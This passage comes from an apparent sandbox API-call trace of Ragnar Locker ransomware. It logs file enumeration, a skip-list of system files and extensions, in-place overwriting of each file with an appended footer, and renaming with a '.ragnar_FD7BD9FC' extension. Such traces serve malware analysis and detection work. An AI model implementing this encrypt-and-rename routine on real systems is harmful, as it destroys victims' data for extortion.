hHeap=0x580000) returned 1 [0090.177] CloseHandle (hObject=0xf4) returned 1 [0090.177] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP" [0090.177] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP.ragnar_FD7BD9FC" [0090.177] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02738u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02738u.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.178] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9ff1700, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9ff1700, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x5f2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02740G.GIF", cAlternateFileName="")) returned 1 [0090.178] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.178] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH02740G.GIF" | out: lpString1="PH02740G.GIF") returned="PH02740G.GIF" [0090.178] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF") returned=".GIF" [0090.178] lstrcmpiW (lpString1="PH02740G.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.178] lstrcmpiW (lpString1="PH02740G.GIF", lpString2="autorun.inf") returned 1 [0090.178] lstrcmpiW (lpString1="PH02740G.GIF", lpString2="boot.ini") returned 1 [0090.178] lstrcmpiW (lpString1="PH02740G.GIF", lpString2="bootfont.bin") returned 1 [0090.178] lstrcmpiW (lpString1="PH02740G.GIF", lpString2="bootsect.bak") returned 1 [0090.178] lstrcmpiW (lpString1="PH02740G.GIF", lpString2="bootmgr") returned 1 [0090.178] lstrcmpiW (lpString1="PH02740G.GIF", lpString2="bootmgr.efi") returned 1 [0090.178] lstrcmpiW (lpString1="PH02740G.GIF", lpString2="bootmgfw.efi") returned 1 [0090.178] lstrcmpiW (lpString1="PH02740G.GIF", lpString2="desktop.ini") returned 1 [0090.178] lstrcmpiW (lpString1="PH02740G.GIF", lpString2="iconcache.db") returned 1 [0090.178] lstrcmpiW (lpString1="PH02740G.GIF", lpString2="ntldr") returned 1 [0090.178] lstrcmpiW (lpString1="PH02740G.GIF", lpString2="ntuser.dat") returned 1 [0090.178] lstrcmpiW (lpString1="PH02740G.GIF", lpString2="ntuser.dat.log") returned 1 [0090.178] lstrcmpiW (lpString1="PH02740G.GIF", lpString2="ntuser.ini") returned 1 [0090.178] lstrcmpiW (lpString1="PH02740G.GIF", lpString2="thumbs.db") returned -1 [0090.178] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0090.178] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0090.178] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0090.178] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0090.178] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0090.178] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0090.178] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0090.178] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740g.gif")) returned 0x20 [0090.179] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740g.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.179] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=24363) returned 1 [0090.180] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5f22, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.180] GetProcessHeap () returned 0x580000 [0090.180] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.180] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.181] VirtualAlloc (lpAddress=0x0, dwSize=0x5f2b, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.181] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.181] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.181] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5f2b, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5f2b, lpOverlapped=0x0) returned 1 [0090.182] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.183] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5f2b, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.183] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5f2b, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5f2b, lpOverlapped=0x0) returned 1 [0090.183] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5f2b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.183] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.183] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5f2b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.183] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.183] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.183] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.183] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.184] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.184] GetProcessHeap () returned 0x580000 [0090.184] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.184] CloseHandle (hObject=0xf4) returned 1 [0090.184] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF" [0090.184] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF.ragnar_FD7BD9FC" [0090.184] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740g.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740g.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.184] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x747f6500, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x747f6500, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02740U.BMP", cAlternateFileName="")) returned 1 [0090.184] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.185] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH02740U.BMP" | out: lpString1="PH02740U.BMP") returned="PH02740U.BMP" [0090.185] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP") returned=".BMP" [0090.185] lstrcmpiW (lpString1="PH02740U.BMP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.185] lstrcmpiW (lpString1="PH02740U.BMP", lpString2="autorun.inf") returned 1 [0090.185] lstrcmpiW (lpString1="PH02740U.BMP", lpString2="boot.ini") returned 1 [0090.185] lstrcmpiW (lpString1="PH02740U.BMP", lpString2="bootfont.bin") returned 1 [0090.185] lstrcmpiW (lpString1="PH02740U.BMP", lpString2="bootsect.bak") returned 1 [0090.185] lstrcmpiW (lpString1="PH02740U.BMP", lpString2="bootmgr") returned 1 [0090.185] lstrcmpiW (lpString1="PH02740U.BMP", lpString2="bootmgr.efi") returned 1 [0090.185] lstrcmpiW (lpString1="PH02740U.BMP", lpString2="bootmgfw.efi") returned 1 [0090.185] lstrcmpiW (lpString1="PH02740U.BMP", lpString2="desktop.ini") returned 1 [0090.185] lstrcmpiW (lpString1="PH02740U.BMP", lpString2="iconcache.db") returned 1 [0090.185] lstrcmpiW (lpString1="PH02740U.BMP", lpString2="ntldr") returned 1 [0090.185] lstrcmpiW (lpString1="PH02740U.BMP", lpString2="ntuser.dat") returned 1 [0090.185] lstrcmpiW (lpString1="PH02740U.BMP", lpString2="ntuser.dat.log") returned 1 [0090.185] lstrcmpiW (lpString1="PH02740U.BMP", lpString2="ntuser.ini") returned 1 [0090.185] lstrcmpiW (lpString1="PH02740U.BMP", lpString2="thumbs.db") returned -1 [0090.185] lstrcmpiW (lpString1=".BMP", lpString2=".db") returned -1 [0090.185] lstrcmpiW (lpString1=".BMP", lpString2=".sys") returned -1 [0090.185] lstrcmpiW (lpString1=".BMP", lpString2=".dll") returned -1 [0090.185] lstrcmpiW (lpString1=".BMP", lpString2=".lnk") returned -1 [0090.185] lstrcmpiW (lpString1=".BMP", lpString2=".msi") returned -1 [0090.185] lstrcmpiW (lpString1=".BMP", lpString2=".drv") returned -1 [0090.185] lstrcmpiW (lpString1=".BMP", lpString2=".exe") returned -1 [0090.185] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740u.bmp")) returned 0x20 [0090.185] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740u.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.186] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=32616) returned 1 [0090.186] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7f5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.186] GetProcessHeap () returned 0x580000 [0090.186] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.186] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.187] VirtualAlloc (lpAddress=0x0, dwSize=0x7f68, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.188] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.188] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.188] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7f68, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7f68, lpOverlapped=0x0) returned 1 [0090.189] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.189] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7f68, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.189] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7f68, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7f68, lpOverlapped=0x0) returned 1 [0090.189] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7f68, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.189] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.189] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7f68, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.189] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.190] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.190] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.190] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.190] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.190] GetProcessHeap () returned 0x580000 [0090.190] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.190] CloseHandle (hObject=0xf4) returned 1 [0090.190] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP" [0090.190] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP.ragnar_FD7BD9FC" [0090.190] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740u.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.191] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf53a6300, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53a6300, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x50a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02742G.GIF", cAlternateFileName="")) returned 1 [0090.191] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.191] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH02742G.GIF" | out: lpString1="PH02742G.GIF") returned="PH02742G.GIF" [0090.191] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF") returned=".GIF" [0090.191] lstrcmpiW (lpString1="PH02742G.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.191] lstrcmpiW (lpString1="PH02742G.GIF", lpString2="autorun.inf") returned 1 [0090.191] lstrcmpiW (lpString1="PH02742G.GIF", lpString2="boot.ini") returned 1 [0090.191] lstrcmpiW (lpString1="PH02742G.GIF", lpString2="bootfont.bin") returned 1 [0090.191] lstrcmpiW (lpString1="PH02742G.GIF", lpString2="bootsect.bak") returned 1 [0090.191] lstrcmpiW (lpString1="PH02742G.GIF", lpString2="bootmgr") returned 1 [0090.191] lstrcmpiW (lpString1="PH02742G.GIF", lpString2="bootmgr.efi") returned 1 [0090.191] lstrcmpiW (lpString1="PH02742G.GIF", lpString2="bootmgfw.efi") returned 1 [0090.191] lstrcmpiW (lpString1="PH02742G.GIF", lpString2="desktop.ini") returned 1 [0090.191] lstrcmpiW (lpString1="PH02742G.GIF", lpString2="iconcache.db") returned 1 [0090.191] lstrcmpiW (lpString1="PH02742G.GIF", lpString2="ntldr") returned 1 [0090.191] lstrcmpiW (lpString1="PH02742G.GIF", lpString2="ntuser.dat") returned 1 [0090.191] lstrcmpiW (lpString1="PH02742G.GIF", lpString2="ntuser.dat.log") returned 1 [0090.191] lstrcmpiW (lpString1="PH02742G.GIF", lpString2="ntuser.ini") returned 1 [0090.191] lstrcmpiW (lpString1="PH02742G.GIF", lpString2="thumbs.db") returned -1 [0090.191] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0090.191] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0090.191] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0090.192] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0090.192] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0090.192] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0090.192] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0090.192] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742g.gif")) returned 0x20 [0090.192] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742g.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.192] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=20645) returned 1 [0090.192] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x509c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.192] GetProcessHeap () returned 0x580000 [0090.192] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.192] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.196] VirtualAlloc (lpAddress=0x0, dwSize=0x50a5, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.196] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.196] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.197] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x50a5, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x50a5, lpOverlapped=0x0) returned 1 [0090.198] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.198] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x50a5, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.198] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x50a5, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x50a5, lpOverlapped=0x0) returned 1 [0090.198] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x50a5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.198] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.198] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x50a5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.198] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.198] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.199] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.199] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.199] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.199] GetProcessHeap () returned 0x580000 [0090.199] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.199] CloseHandle (hObject=0xf4) returned 1 [0090.199] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF" [0090.199] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft 